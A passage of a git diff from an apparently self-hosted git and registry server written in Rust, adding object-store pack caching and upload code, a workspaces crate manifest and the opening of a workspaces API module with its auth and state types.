- // invalidation below. Loaded once per batch; a repo with no rules pays one - // empty scan. - let rules = self.protections(&repo.owner, &repo.name).await?; - let odb = if rules.is_empty() { None } else { repo.odb().ok() }; - - for u in updates { - if let Some(reason) = self.protection_verdict(&rules, odb.as_ref(), u) { + for (u, verdict) in updates.iter().zip(verdicts) { + if let Some(reason) = verdict { results.push(Some(reason)); any_rejected = true; continue; diff --git a/crates/storage/src/store.rs b/crates/storage/src/store.rs new file mode 100644 index 00000000..504b1b96 --- /dev/null +++ b/crates/storage/src/store.rs @@ -0,0 +1,641 @@ +use crate::{err, Result}; +use futures::{StreamExt, TryStreamExt}; +use slatedb::object_store::{path::Path as OsPath, ObjectStore, ObjectStoreExt}; +use slatedb::Db; +use std::path::{Path, PathBuf}; +use std::sync::Arc; + +pub struct Store { + pub os: Arc, + /// The SAME store as `os`, seen through the resumable multipart API, when the backend has one. + /// `MultipartUpload` is a live handle that cannot outlive a request; `MultipartStore` hands out + /// an upload id and part ids that can, which is what lets a chunked blob upload send each + /// chunk once instead of re-streaming everything received so far (`registry::uploads`). + /// `None` for `LocalFileSystem` (`file://` dev mode) — object_store has no impl for it — so + /// every consumer must keep a fallback that works without this. + pub mp: Option>, + /// Repo databases, opened on demand and kept warm. Which repos reach this node is the load + /// balancer's decision, so there is nothing to elect here. + pub pool: Arc, + pub cache_dir: PathBuf, + /// Credential lookups, cached briefly (see auth.rs). + pub(crate) auth_cache: + std::sync::Mutex)>>, + /// Whether the object store answered recently. Sampled by a background task; read by /healthz. + pub healthy: std::sync::atomic::AtomicBool, + /// The shared response cache, so the write paths can invalidate what they invalidate. + /// Disabled unless a caller replaces it (main.rs does, from `RUSTIC_GIT_REDIS_URL`), which + /// keeps every other caller — tests included — free of a handle they do not need. + pub cache: Arc, + /// Per-key async locks for read-modify-write sequences that a single node can still run + /// concurrently for the same key (e.g. two PATCHes to one upload session, two pulls of one + /// tag). See `keyed_lock`. + /// ponytail: in-process lock; correct because one node owns the image DB. + pub(crate) keyed_locks: std::sync::Mutex>>>, + /// Manifest pull cache, digest-addressed. The bytes are immutable by construction (the digest + /// is over them), and the two mutable companions — media type and existence — are invalidated + /// by `put_manifest`/`delete_manifest`, which only ever run on the node serving these GETs + /// (single-opener routing). Per-node and unbounded-in-time on purpose; see the cap at fill. + pub manifest_cache: + std::sync::Mutex>, + /// Pull counts not yet written: `{owner}/{name}/{tag}` → pulls since the last flush. A tag + /// GET is the hottest registry read, and a durable put under a per-tag lock on that path + /// serialised every concurrent pull of one tag behind a WAL flush each. The count is display + /// only, so it is eventually consistent by design: `registry::store::ImageExt::flush_pulls` + /// folds this into the image's database on the owning node's 30 s lane, and a crash loses at + /// most that window. + pub pending_pulls: std::sync::Mutex>, +} + +impl Store { + /// The manifest cache, locked poison-tolerantly. + /// + /// A panic anywhere else while this is held must not turn every later manifest GET, PUT and + /// DELETE into a 500 — the map holds only digest-addressed bytes, which nothing half-finished + /// can leave inconsistent, so a poisoned cache is still valid data. Same rule, and same + /// reasoning, as `auth_cache`. + pub fn manifests( + &self, + ) -> std::sync::MutexGuard<'_, std::collections::HashMap> + { + self.manifest_cache.lock().unwrap_or_else(|p| p.into_inner()) + } + + /// The async mutex guarding read-modify-write sequences for `key`. + /// + /// Unused entries are dropped as we go: upload-session keys carry a client-chosen uuid, so + /// "bounded by the live key space" only holds while sessions are short-lived — an + /// authenticated client opening sessions it never finishes would otherwise grow this map for + /// the life of the process. An `Arc` with one reference is held by nobody but this map, which + /// makes it safe to remove: any caller still using that lock holds a clone, and a caller that + /// arrives later simply creates a fresh one and serialises against itself as before. + pub fn keyed_lock(&self, key: &str) -> Arc> { + let mut m = self.keyed_locks.lock().unwrap(); + // Swept only past a size no honest in-flight set reaches — an every-acquisition retain + // was O(live keys) on every ref write. Entries with one strong count are held by nobody + // but this map, so dropping them can never break a caller (it holds a clone). + const SWEEP_AT: usize = 512; + if m.len() >= SWEEP_AT { + m.retain(|_, v| Arc::strong_count(v) > 1); + } + m.entry(key.to_string()).or_insert_with(|| Arc::new(tokio::sync::Mutex::new(()))).clone() + } + + /// Heals a crashed flip: a crash between the DB visibility write and its marker swap leaves + /// the two disagreeing, and only the owning node can see DB truth to fix it (the structural + /// sweep in `registry::gc` only ever sees the object store, never a repo/image DB). Reads + /// this node's own DB visibility, compares it against the marker (either path), and rewrites + /// the marker via `index::write` when they disagree or the marker is missing entirely, + /// preserving every other body field. `Ok(true)` means a repair was written. + /// + /// Safe to call from anywhere: it is only ever reachable from code paths that already run + /// exclusively on the node that owns `owner/name` (repo/image DB opens, and the renewal + /// loop's `warm_repos()`, which only lists repos this node currently holds open) — the same + /// single-writer invariant that lets `is_public`/`image_is_public` be trusted at all. + /// + /// Locked under the same `index/{repo,img}/{owner}/{name}` key the real flips use, so a + /// reconcile racing a genuine flip can't interleave `index::write`'s delete-then-put. + /// + /// `db_public` is computed by the caller rather than read here: `Kind::Img`'s answer + /// (`image_is_public`) lives in the registry module (root crate — it needs + /// `registry::pool_coords`, a reserved-owner-name concept that has no business in `storage`), + /// and `storage` cannot call back into a crate that depends on it. `Kind::Repo`'s answer + /// (`is_public`) stays an inherent method here since it needs nothing outside this crate. + pub async fn reconcile_marker( + &self, + owner: &str, + name: &str, + kind: crate::index::Kind, + db_public: bool, + ) -> Result { + let lock = self.keyed_lock(&format!("index/{}/{owner}/{name}", kind.seg())); + let _guard = lock.lock().await; + let existing = crate::index::read(&self.os, kind, owner, name).await; + if existing.as_ref().is_some_and(|m| m.public == db_public) { + return Ok(false); + } + let now = crate::ownership::now_ms() as i64; + let m = crate::index::Marker { + name: name.to_string(), + public: db_public, + created_by: existing.as_ref().map(|m| m.created_by.clone()).unwrap_or_default(), + created_ms: existing.as_ref().map(|m| m.created_ms).unwrap_or(now), + description: existing.as_ref().map(|m| m.description.clone()).unwrap_or_default(), + manifests: existing.as_ref().map(|m| m.manifests).unwrap_or(0), + updated_ms: existing.as_ref().map(|m| m.updated_ms).unwrap_or(0), + }; + crate::index::write(&self.os, kind, owner, &m).await?; + Ok(true) + } + + #[cfg(test)] + pub(crate) fn auth_cache_len(&self) -> usize { + self.auth_cache().len() + } +} + +#[derive(Clone)] +pub struct Repo { + pub owner: String, + pub name: String, + pub objects_dir: PathBuf, + pub pack_dir: PathBuf, +} + +impl Repo { + /// Every repo owns its objects outright. Forks copy rather than share: forks are rare, storage + /// is cheap, and sharing a pile is what forced garbage collection to see every repo using it — + /// which in turn constrained where repos could live and made cross-repo object exposure + /// possible at all. + pub fn s3_prefix(&self) -> String { + format!("objects/{}/{}/pack", self.owner, self.name) + } + pub fn odb(&self) -> Result { + Ok(gix_odb::at(&self.objects_dir)?) + } +} + +/// Remove local pack files the index no longer names. +/// +/// The cache was only ever added to. After a repo moves away, is repacked there and moves back, +/// the superseded packs are still here: gix-odb discovers packs by `.idx`, so objects the repack +/// dropped stay servable, and the disk is never reclaimed. Only files past `STALE_AFTER` go — a +/// push in flight has written its pack locally and not yet uploaded or recorded it, and must not +/// lose it underneath. `.idx` first, as everywhere: no reader sees an index without its data. +/// +/// The two temp shapes go the same way: `fetch_pack_file`'s `.{name}.{pid}.{seq}.tmp` and +/// `objects.rs`'s `incoming-{pid}-{seq}.pack` were removed by the code that wrote them (that +/// path now indexes from memory and never creates one), but a killed process could still leave +/// one behind, and nothing else would ever reclaim it. +// ponytail: an mtime guard, not a lock; a single push whose upload takes over an hour would lose +// its pack here. Track in-flight packs explicitly if uploads ever get that slow. +fn prune_stale_packs(pack_dir: &Path, indexed: &[(String, u64)]) -> std::io::Result<()> { + const STALE_AFTER: std::time::Duration = std::time::Duration::from_secs(3600); + let now = std::time::SystemTime::now(); + // At most one scan per STALE_AFTER per repo: open_repo is on every request's path, and a + // fresher scan can never reclaim more — nothing it deletes is younger than STALE_AFTER. + // The marker never matches the pack/temp shapes below, so it is never pruned itself. + let marker = pack_dir.join(".pruned"); + let fresh = marker + .metadata() + .and_then(|m| m.modified()) + .ok() + .and_then(|m| now.duration_since(m).ok()) + .is_some_and(|age| age < STALE_AFTER); + if fresh { + return Ok(()); + } + std::fs::write(&marker, b"")?; + let indexed: std::collections::HashSet<&str> = + indexed.iter().map(|(f, _)| f.as_str()).collect(); + let mut stale: Vec = Vec::new(); + for ent in std::fs::read_dir(pack_dir)? { + let ent = ent?; + let name = ent.file_name().to_string_lossy().into_owned(); + let is_pack = name.starts_with("pack-") && (name.ends_with(".pack") || name.ends_with(".idx")); + let is_temp = (name.starts_with('.') && name.ends_with(".tmp")) + || (name.starts_with("incoming-") && name.ends_with(".pack")); + if !(is_pack || is_temp) || indexed.contains(name.as_str()) { + continue; + } + let old = ent + .metadata() + .and_then(|m| m.modified()) + .ok() + .and_then(|m| now.duration_since(m).ok()) + .is_some_and(|age| age > STALE_AFTER); + if old { + stale.push(ent.path()); + } + } + stale.sort_by_key(|p| p.extension().and_then(|x| x.to_str()) != Some("idx")); + for p in stale { + let _ = std::fs::remove_file(p); + } + Ok(()) +} + +fn pack_index_prefix(owner: &str, name: &str) -> String { + format!("pack/{owner}/{name}/") +} + +pub fn valid_segment(s: &str) -> bool { + !s.is_empty() + && s != "." + && s != ".." + && s.chars() + .all(|c| c.is_ascii_alphanumeric() || c == '.' || c == '_' || c == '-') +} + +/// Repo names the web app's URL space has already spent. +/// +/// `/{owner}/{name}` and `/{owner}/activity` occupy the same position, and a +/// static segment wins over a dynamic one — so a repo called `activity` would be +/// created happily and then be permanently unreachable, its page showing the +/// namespace's feed instead. Refusing the name at creation is the only point +/// where that is still fixable. +/// +/// Checked where repos are CREATED, exactly like the `api` owner rule: a repo +/// that predates this list keeps working over git, where none of these names +/// mean anything. +pub const RESERVED_REPO_NAMES: [&str; 8] = + ["activity", "repos", "settings", "registries", "workspaces", "environments", "snapshots", "ci"]; + +pub fn reserved_repo_name(name: &str) -> bool { + RESERVED_REPO_NAMES.iter().any(|r| name.eq_ignore_ascii_case(r)) +} + +/// Owner names the URL space has already spent. +/// +/// `api` is the browse prefix. `v2` is the registry prefix, for the same reason: a repo owned by +/// `v2` would make `/v2/alice/info/refs` both that repo's git route and an image path. `img` is +/// not a URL prefix at all — it is the routing key registry paths derive, and a repo owned by +/// `img` would put its database at `repo/img/{name}`, nesting it inside the prefix every image +/// database lives under. `vol` is the same story one keyspace over: the volume registry's +/// routing key, and a repo owned by `vol` would nest its database under `repo/vol/{name}`. +pub const RESERVED_OWNERS: [&str; 4] = ["api", "v2", "img", "vol"]; + +/// Owner names are segments, minus the ones the URL space has already spent. +/// +/// Checked where repos are CREATED, not where paths are parsed: a repo owned by a reserved name +/// that predates the reservation keeps working over SSH and can be moved with `admin fork`; only +/// its HTTP routes are gone. +pub fn valid_owner(s: &str) -> bool { + valid_segment(s) && !RESERVED_OWNERS.contains(&s) +} + +#[cfg(test)] +mod reserved_owner_tests { + use super::valid_owner; + + /// A user cannot claim owner `vol`: it is the volume registry's routing key + /// (`repo/vol/{owner}/{name}`), exactly as `img` is the image registry's. `create_repo` + /// (`crates/api/src/repos.rs`) and every other repo-creation path check `valid_owner`, so this + /// one assertion is the root-cause coverage for all of them. + #[test] + fn vol_is_reserved() { + assert!(!valid_owner("vol")); + assert!(valid_owner("volley")); // a prefix match must not over-reserve + } +} + +impl Store { + /// `background`: run SlateDB's compactor and garbage collector inside each repo database. + pub async fn open( + os: Arc, + cache_dir: PathBuf, + background: bool, + ) -> Result { + std::fs::create_dir_all(&cache_dir)?; + Ok(Store { + pool: Arc::new(crate::pool::Pool::new(os.clone(), background)), + os, + // Off unless a caller fills it in (`config::open_store` does, from the same concrete + // store it just built) — the same shape as `cache` above, and for the same reason: + // every other caller, tests included, stays free of a handle it does not need. + mp: None, + cache_dir, + auth_cache: Default::default(), + healthy: std::sync::atomic::AtomicBool::new(true), + cache: Arc::new(crate::cache::Cache::connect(None).await), + keyed_locks: Default::default(), + manifest_cache: Default::default(), + pending_pulls: Default::default(), + }) + } + + /// Probe the object store every few seconds and record the result. Reachability and liveness + /// both key off /healthz, so a node whose blob-store client is dead must fail it — otherwise + /// it keeps its repos and returns 500 to every client with no failover and no restart. + /// + /// Hysteresis: three consecutive failures to flip unhealthy, one success to flip back. Without + /// it, one slow round trip during an object-store blip makes every node unhealthy at once and + /// every node stops routing Local for one probe interval. + pub fn spawn_health_probe(self: &Arc) { + let s = self.clone(); + tokio::spawn(async move { + let mut failures = 0u32; + loop { + // The store is healthy if it *answered the question*: Ok, or NotFound (the probe + // key need not exist). Everything else — Generic (transport, 5xx), Unauthenticated + // (401: rotated key), PermissionDenied (403) — is unhealthy. Treating auth failures + // as healthy would keep a node with a revoked key holding its repos and returning + // 500 forever, which is exactly what this exists to catch. + let ok = tokio::time::timeout( + std::time::Duration::from_secs(5), + s.os.head(&OsPath::from("auth/.health")), + ) + .await + .map(|r| matches!(r, Ok(_) | Err(slatedb::object_store::Error::NotFound { .. }))) + .unwrap_or(false); + failures = if ok { 0 } else { failures + 1 }; + s.healthy.store(failures < 3, std::sync::atomic::Ordering::Relaxed); + tokio::time::sleep(std::time::Duration::from_secs(5)).await; + } + }); + } + + pub fn healthy(&self) -> bool { + self.healthy.load(std::sync::atomic::Ordering::Relaxed) + } + + /// Whether a repo exists, without creating its database as a side effect of asking. + pub async fn repo_db_exists(&self, owner: &str, name: &str) -> Result { + self.pool.exists(owner, name).await + } + + /// A repo's database. Every node that serves a repo serves it for reads and writes both. + pub async fn db_for(&self, owner: &str, name: &str) -> Result> { + self.pool.get(owner, name).await + } + + /// Ensure local cache mirrors S3 pack list. `Ok(None)` if the repo (or path) does not exist. + pub async fn open_repo(&self, owner: &str, name: &str) -> Result> { + if !valid_segment(owner) || !valid_segment(name) { + return Ok(None); + } + if !self.repo_exists(owner, name).await? { + return Ok(None); + } + // Lazily heal a crashed flip the moment this repo is touched. `open_repo` only runs on + // the node the routing middleware sent the request to (the owning node — see + // `CLAUDE.md`'s ownership invariant), and it already does heavier IO (pack fetch) than one + // extra marker read/write, unlike `image_db`, which is called on every registry request + // and too hot for a per-call reconcile; images instead rely on the renewal loop's + // `warm_repos()` lane. Marker repair is a view, not authorization — log-and-continue. + match self.is_public(owner, name).await { + Ok(db_public) => { + if let Err(e) = + self.reconcile_marker(owner, name, crate::index::Kind::Repo, db_public).await + { + tracing::warn!(owner = %owner, repo = %name, error = %e, "reconciling the visibility marker failed"); + } + } + Err(e) => tracing::warn!(owner = %owner, repo = %name, error = %e, "reading visibility for the marker reconcile failed"), + } + let objects_dir = self.cache_dir.join(owner).join(name).join("objects"); + let pack_dir = objects_dir.join("pack"); + let (a, b) = tokio::join!( + tokio::fs::create_dir_all(&pack_dir), + tokio::fs::create_dir_all(objects_dir.join("info")) // gix-odb wants a normal objects dir + ); + a?; + b?; + let repo = Repo { + owner: owner.into(), + name: name.into(), + objects_dir, + pack_dir, + }; + // Which files the repo has comes from the ref store, not from listing the object store: + // the writer records each pack as it uploads it, so this is a local read instead of a + // network round trip on every request. It also keeps the pack list consistent with the + // refs alongside it, since both come from the same database. + let files = self.pack_index(owner, name).await?; + // .pack before .idx: gix-odb discovers packs via .idx, so the idx must land last. + let (packs, idxs): (Vec<_>, Vec<_>) = files + .clone() + .into_iter() + .partition(|(fname, _)| !fname.ends_with(".idx")); + for batch in [packs, idxs] { + futures::stream::iter(batch) + .map(|(fname, size)| self.fetch_pack_file(&repo, fname, size)) + .buffer_unordered(8) + .try_collect::>() + .await?; + } + // A cache that could not be swept is not a reason to refuse the repo — the packs it + // needs are already here. + if let Err(e) = prune_stale_packs(&repo.pack_dir, &files) { + tracing::warn!(owner = %owner, repo = %name, error = %e, "pruning stale cached packs failed"); + } + Ok(Some(repo)) + } + + /// The repo's pack files as `(filename, size)`, from the ref store. + /// + /// Falls back to listing the object store when the index is empty or unreadable, which covers + /// repos written before the index existed; the listing is then recorded so the fallback + /// happens once. + pub async fn pack_index(&self, owner: &str, name: &str) -> Result> { + let prefix = pack_index_prefix(owner, name); + let mut it = self + .db_for(owner, name).await? + .scan_prefix(prefix.as_bytes(), ..) + .await?; + let mut out = Vec::new(); + while let Some(kv) = it.next().await? { + let fname = String::from_utf8_lossy(&kv.key[prefix.len()..]).to_string(); + // One bad row makes the whole index suspect: fall through to the listing, which + // re-records every file. Defaulting the size to 0 instead meant the size-equality + // skip in `fetch_pack_file` never matched, and the pack was downloaded on every open. + let Ok(size) = String::from_utf8_lossy(&kv.value).parse::() else { + out.clear(); + break; + }; + out.push((fname, size)); + } + if !out.is_empty() { + return Ok(out); + } + // no index yet: list once, and record it + let listing: Vec<_> = self + .os + .list(Some(&OsPath::from(format!("objects/{owner}/{name}/pack")))) + .try_collect() + .await?; + for meta in &listing { + if let Some(f) = meta.location.filename() { + out.push((f.to_string(), meta.size)); + let _ = self.record_pack(owner, name, f, meta.size).await; + } + } + Ok(out) + } + + /// Note that a pack file exists, so serving a repo needs no object-store listing. + pub async fn record_pack(&self, owner: &str, name: &str, fname: &str, size: u64) -> Result<()> { + self.db_for(owner, name).await? + .put( + format!("{}{}", pack_index_prefix(owner, name), fname), + size.to_string().as_bytes(), + ) + .await?; + Ok(()) + } + + pub async fn forget_pack_public(&self, owner: &str, name: &str, fname: &str) -> Result<()> { + self.forget_pack(owner, name, fname).await + } + + async fn forget_pack(&self, owner: &str, name: &str, fname: &str) -> Result<()> { + self.db_for(owner, name).await? + .delete(format!("{}{}", pack_index_prefix(owner, name), fname)) + .await?; + Ok(()) + } + + /// Download one pack file unless an identically sized copy is already cached. + async fn fetch_pack_file(&self, repo: &Repo, fname: String, size: u64) -> Result<()> { + let pack_dir = &repo.pack_dir; + let local = pack_dir.join(&fname); + if local.metadata().map(|m| m.len() == size).unwrap_or(false) { + return Ok(()); + } + let key = OsPath::from(format!("{}/{}", repo.s3_prefix(), fname)); + // Streamed, never buffered: `open_repo` runs eight of these at once, and a whole pack in + // memory per download is gigabytes for a repo with a few large packs. + let stream = self.os.get(&key).await?.into_stream().map_err(std::io::Error::other); + let mut reader = tokio_util::io::StreamReader::new(stream); + // unique per process+call: concurrent opens must not share a temp path + static SEQ: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0); + let seq = SEQ.fetch_add(1, std::sync::atomic::Ordering::Relaxed); + let tmp = pack_dir.join(format!(".{fname}.{}.{seq}.tmp", std::process::id())); + // fsync the data before the rename: otherwise a host crash can leave a renamed file with + // the right length but unwritten contents, and the size-only skip above would then serve + // that corrupt pack forever without re-fetching. + let written = async { + let mut w = tokio::fs::File::create(&tmp).await?; + tokio::io::copy(&mut reader, &mut w).await?; + w.sync_all().await + } + .await; + // A half-written temp is nobody's to finish: a truncated download that stayed on disk + // would only be reclaimed an hour later by the prune, and until then it is dead space + // on every failed open. + if let Err(e) = written { + let _ = tokio::fs::remove_file(&tmp).await; + return Err(e.into()); + } + tokio::fs::rename(&tmp, &local).await?; + Ok(()) + } + + /// Copy every pack from one repo's prefix to another's. Uses the object store's own copy, so + /// the bytes never travel through this process. + pub async fn copy_packs(&self, from: &Repo, to: &Repo) -> Result { + let src = OsPath::from(from.s3_prefix()); + let metas: Vec<_> = self.os.list(Some(&src)).try_collect().await?; + // .pack before .idx, as everywhere: a reader must never see an index without its data + let (packs, idxs): (Vec<_>, Vec<_>) = metas + .into_iter() + .partition(|m| m.location.extension() != Some("idx")); + let mut copied = 0; + for batch in [packs, idxs] { + for meta in batch { + let Some(fname) = meta.location.filename() else { + continue; + }; + let dst = OsPath::from(format!("{}/{}", to.s3_prefix(), fname)); + self.os.copy(&meta.location, &dst).await?; + self.record_pack(&to.owner, &to.name, fname, meta.size) + .await?; + copied += 1; + } + } + Ok(copied) + } + + /// Delete every object belonging to a repo. Safe unconditionally now that objects are never + /// shared between repos. + pub async fn delete_objects(&self, owner: &str, name: &str) -> Result<()> { + let prefix = OsPath::from(format!("objects/{owner}/{name}/pack")); + let locs: Vec = self + .os + .list(Some(&prefix)) + .map_ok(|m| m.location) + .try_collect() + .await?; + for loc in locs { + if let Some(f) = loc.filename() { + let _ = self.forget_pack(owner, name, f).await; + } + self.os.delete(&loc).await?; + } + let _ = std::fs::remove_dir_all(self.cache_dir.join(owner).join(name)); + Ok(()) + } + + /// Remove the repo's DATABASE files — everything under `repo/{owner}/{name}/`. + /// + /// Separate from `delete_objects`, which only clears git packs. Without this a deleted repo + /// leaves its whole SlateDB behind: storage that is never reclaimed, and — worse — a directory + /// the GC sweep reads as "this repo exists, it just lost its marker", so it helpfully recreates + /// one and the repo reappears in every listing. Presence of the directory is only a truthful + /// signal of existence if delete actually removes it. + /// + /// The pool handle is evicted FIRST: deleting the files under an open database would leave a + /// live handle writing into storage that no longer exists. + pub async fn delete_repo_db(&self, owner: &str, name: &str) -> Result<()> { + self.pool.evict(owner, name).await; + let prefix = OsPath::from(crate::pool::path(owner, name)); + let locs: Vec = + self.os.list(Some(&prefix)).map_ok(|m| m.location).try_collect().await?; + for loc in locs { + self.os.delete(&loc).await?; + } + Ok(()) + } + + /// Undo `upload_pack_files` for a pack that was accepted onto S3 but must not survive + /// (e.g. the push it came from was rejected): remove it from the object store, the pack + /// index, and the local cache. Idempotent — used from both the upload-failure path and a + /// rejected-push cleanup. + pub async fn delete_pack_files(&self, repo: &Repo, pack: &Path, idx: &Path) -> Result<()> { + // .idx before .pack, same ordering as everywhere else: no reader should ever see an + // index without its data. + for p in [idx, pack] { + let Some(fname) = p.file_name().and_then(|s| s.to_str()) else { + continue; + }; + let key = OsPath::from(format!("{}/{}", repo.s3_prefix(), fname)); + let _ = self.os.delete(&key).await; + let _ = self.forget_pack(&repo.owner, &repo.name, fname).await; + let _ = std::fs::remove_file(p); + } + Ok(()) + } + + pub async fn upload_pack_files(&self, repo: &Repo, pack: &Path, idx: &Path) -> Result<()> { + use slatedb::object_store::WriteMultipart; + use tokio::io::AsyncReadExt; + // pack first, idx last: a concurrent reader must never see an idx without its pack. + for p in [pack, idx] { + let fname = p + .file_name() + .and_then(|s| s.to_str()) + .ok_or_else(|| err("bad pack path"))?; + let key = OsPath::from(format!("{}/{}", repo.s3_prefix(), fname)); + // Streamed, never buffered — the download path (`fetch_pack_file`) streams for the + // same reason: a whole pack in memory per concurrent push is RSS equal to the push. + let size = tokio::fs::metadata(p).await?.len(); + let mut f = tokio::fs::File::open(p).await?; + let mut w = WriteMultipart::new(self.os.put_multipart(&key).await?); + // 5 MiB parts, at most 4 in flight: the same memory bound the registry's `pour` uses. + let mut buf = vec![0u8; 5 * 1024 * 1024]; + let streamed = async { + loop { + let n = f.read(&mut buf).await?; + if n == 0 { + break; + } + w.wait_for_capacity(4).await.map_err(std::io::Error::other)?; + w.put(slatedb::bytes::Bytes::copy_from_slice(&buf[..n])); + } + Ok::<_, std::io::Error>(()) + } + .await; + // A failed part must not leave the multipart dangling with the handle gone — same + // rule as the registry's pour; leaked halves are the bucket's lifecycle rule's job. + if let Err(e) = streamed { + let _ = w.abort().await; + return Err(e.into()); + } + w.finish().await?; + // record after the upload, so the index never names a file that is not there yet + self.record_pack(&repo.owner, &repo.name, fname, size) + .await?; + } + Ok(()) + } +} diff --git a/crates/workspaces/Cargo.toml b/crates/workspaces/Cargo.toml new file mode 100644 index 00000000..206c6df8 --- /dev/null +++ b/crates/workspaces/Cargo.toml @@ -0,0 +1,55 @@ +[package] +name = "rustic-git-workspaces" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_workspaces" + +[dependencies] +tracing = { workspace = true } +kube = { workspace = true } +k8s-openapi = { workspace = true } +schemars = { workspace = true } +rustic-git-core = { path = "../core" } +rustic-git-storage = { path = "../storage" } +slatedb = { workspace = true } +axum = { workspace = true } +rand = { workspace = true } +async-trait = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +chrono = { workspace = true, features = ["serde"] } +tokio = { workspace = true } +azure_data_cosmos = { workspace = true, features = ["key_auth"] } +azure_core = "0.31" +futures = { workspace = true } +object_store = { workspace = true } +bytes = { workspace = true } +zstd = { workspace = true } +sha2 = { workspace = true } +libc = { workspace = true } +reqwest = { workspace = true } +# Only `kube_test` needs these — it is compiled into the library (not behind `#[cfg(test)]`) +# because the `/v1` integration tests in tests/ build an `ApiState` around a mocked client. +tower = { workspace = true, optional = true } +http = { version = "1", optional = true } +http-body-util = { version = "0.1", optional = true } + +[features] +# Mock kube client for tests. Off by default so the harness and its HTTP plumbing stay out of +# every binary that links this crate; the dev-dependency below turns it on for our own tests. +testkit = ["dep:tower", "dep:http", "dep:http-body-util"] + +[dev-dependencies] +rustic-git-workspaces = { path = ".", features = ["testkit"] } +tokio = { workspace = true, features = ["full", "test-util"] } +tempfile = { workspace = true } +rand = { workspace = true } +async-trait = { workspace = true } +futures = { workspace = true } +# Cyclic dev-dependency (bins/server depends on this crate normally) — fine in Cargo, dev-deps +# aren't part of the graph used to build the library itself. Lets engine_ops.rs boot the real +# vol-agent router in-process as the registry, same as bins/agent/tests/loop.rs does. +rustic-git-server = { path = "../../bins/server" } diff --git a/crates/workspaces/src/api.rs b/crates/workspaces/src/api.rs new file mode 100644 index 00000000..0dbff34b --- /dev/null +++ b/crates/workspaces/src/api.rs @@ -0,0 +1,1993 @@ +//! User-facing `/v1` routes for workspaces, environments and regions — spec §API +//! "User-facing (existing bearer token auth)". +//! +//! Every mutation writes a CUSTOM RESOURCE and answers 202 with a projection of it. The object is +//! the work item: there is no queue, no lease and no dispatch — the node named by `spec.nodeName` +//! reconciles what it owns. `Region` alone still lives in Cosmos (`store`), because it is +//! cross-cluster metadata no single API server can hold. +//! +//! Auth mirrors `crates/api`'s `caller()`: a Bearer JWT identifies the owner. There is no +//! existing "is this caller an admin" check anywhere in the codebase to reuse (grepped for one — +//! none exists), so region routes gate on a small static allowlist of emails passed in at +//! construction (`RUSTIC_GIT_WORKSPACES_ADMINS` in the api bin). Upgrade path: a real roles +//! table, if more than one admin-gated surface ever shows up. + +// Same idiom and same tradeoff as `crates/api`: `Result` is the handler style here, +// and boxing the Err to please the size lint would add an allocation per refusal for nothing. +#![allow(clippy::result_large_err)] + +use crate::crd::{self, DesiredState, VolumeSource}; +use crate::k8s::labels; +use crate::registry::CommitRecord; +use futures::StreamExt; +use crate::model::*; +use crate::store::MetaStore; +use kube::api::{Api, DeleteParams, ListParams, Patch, PatchParams, PostParams}; +use kube::ResourceExt; +use std::collections::BTreeMap; +use axum::{ + extract::{Path, Query, State}, + http::StatusCode, + response::{IntoResponse, Response}, + routing::{get, post}, + Json, Router, +}; +use rustic_git_core::httpx::bearer_token; +use rustic_git_core::jwt::Jwt; +use std::collections::HashSet; +use std::sync::Arc; + +/// Team-membership lookup, kept behind a trait rather than a direct dependency on +/// `rustic_git_pulls::directory::Directory` (mongo-backed, heavy to construct) so unit tests can +/// supply a closure/stub instead. Production wires `Directory` in via an adapter in `bins/api`. +/// One method only: "is this caller in this team" reduces to "which teams is the caller in", and +/// list_env needs the full list anyway. +#[async_trait::async_trait] +pub trait MembershipCheck: Send + Sync { + /// Every team slug `user` belongs to. Called once per request, no cache — + /// ponytail: an in-process cache would cut the N+1 here, add one if this ever shows up hot. + async fn teams_for(&self, user: &str) -> Vec; +} + +/// Is this CLI login still valid? A `cli` JWT carries a `jti` whose row in the directory IS the +/// revocation list — the same rule `crates/api`'s `user_identity` enforces, behind a trait for the +/// same reason `MembershipCheck` is one. +#[async_trait::async_trait] +pub trait CliTokenCheck: Send + Sync { + async fn is_live(&self, jti: &str) -> bool; +} + +/// What every workspace of an owner carries about them, from the directory the api tier owns. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct OwnerMaterial { + /// The `authorized_keys` file sshd reads. Empty is a user with no keys. + pub authorized_keys: String, + /// What git commits as. Empty when the handle is nobody's, and git will ask. + pub git_name: String, + pub git_email: String, +} + +#[async_trait::async_trait] +pub trait AuthorizedKeys: Send + Sync { + /// `None` when the lookup FAILED — distinct from `Some` with an empty `authorized_keys`, + /// which is a user with no keys and is written as an empty file. + async fn for_owner(&self, owner: &str) -> Option; +} + +pub type CliTokenCheckRef = Arc; +pub type AuthorizedKeysRef = Arc; + +pub struct ApiState { + pub store: Arc, + pub jwt: Arc, + /// Emails allowed to hit the admin-gated region routes. See module docs. + pub admins: HashSet, + /// Team lookups for team-owned environments (see module docs' Part 2). `None` means no + /// directory is wired (dev, or the directory tier is down) — team envs answer 503 rather than + /// silently behaving as if the caller has no teams. + pub membership: Option>, + /// `None` means no directory is wired: CLI tokens are then refused outright rather than + /// accepted unrevokable — a 30-day token nobody can cancel is the worse failure. + pub cli_tokens: Option, + /// The owner's ssh keys, for the `authorized_keys` half of the workspace key Secret. `None` + /// (dev, no directory) installs the private key alone, exactly as before ssh existed. + pub authorized_keys: Option, + /// `None` when no kubeconfig/in-cluster config is available: every workspace, environment and + /// volume route answers 503 rather than not existing. + pub kube: Option, + /// The auth store, solely so workspace creation can copy the owner's platform-issued git key + /// into their namespace. `None` in dev and in tests: workspaces still create, they just come + /// up without a key. + pub keys: Option>, + /// The server tier's browse routes, where a volume's snapshots actually live. `None` in dev + /// and in tests that do not exercise them: the volume routes answer 503, the same way every + /// other route here reports a missing dependency rather than pretending it does not exist. + pub upstream: Option>, +} + +impl ApiState { + pub fn new(store: Arc, jwt: Arc, admins: HashSet) -> Self { + ApiState { + store, + jwt, + admins, + membership: None, + cli_tokens: None, + authorized_keys: None, + kube: None, + keys: None, + upstream: None, + } + } + + pub fn with_membership(mut self, membership: Arc) -> Self { + self.membership = Some(membership); + self + } + + pub fn with_cli_tokens(mut self, check: CliTokenCheckRef) -> Self { + self.cli_tokens = Some(check); + self + } + + pub fn with_authorized_keys(mut self, keys: AuthorizedKeysRef) -> Self { + self.authorized_keys = Some(keys); + self + } + + pub fn with_kube(mut self, 